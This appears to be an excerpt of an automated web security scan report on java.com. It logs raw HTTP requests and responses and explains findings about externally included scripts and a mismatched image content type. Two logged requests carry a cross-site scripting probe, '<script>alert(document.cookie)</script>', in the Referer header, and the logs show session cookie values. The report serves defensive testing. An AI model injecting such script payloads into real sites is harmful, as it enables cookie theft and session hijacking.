GET /en/download/help/index.xml?userOs=Windows+7 HTTP/1.1 Host: java.com Proxy-Connection: keep-alive Referer: http://java.com/en/download/help/?c5026%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6aa977f8018=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_nr=1299422455688; gpName=javac%3AHomepage; gpChannel=javac%3AHome; gpServer=java.com; JSESSIONID=ba79bda179da589eb4df14eb7c8e; JROUTE=eKVJ4oW0NOer888s
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /en/java_in_action/lincvolt.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:35 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=C25B21E9B82B999B193AC5002517AFEE; Path=/ Connection: close
The response contains the following Content-type statement:
Content-type: image/jpeg
The response states that it contains a JPEG image. However, it actually appears to contain a PNG image.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /im/expert_list/ExpertHelp-RedBox-JavaLogo_22489.jpg HTTP/1.1 Host: java.com Proxy-Connection: keep-alive Referer: http://java.com/en/download/help/?c5026%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6aa977f8018=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_nr=1299422455688; gpName=javac%3AHomepage; gpChannel=javac%3AHome; gpServer=java.com; JSESSIONID=ba79bda179da589eb4df14eb7c8e; JROUTE=eKVJ4oW0NOer888s
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:54:09 GMT Content-type: image/jpeg Last-modified: Thu, 21 Jan 2010 17:47:49 GMT Content-length: 9841 Etag: "2671-4b589345" Accept-ranges: bytes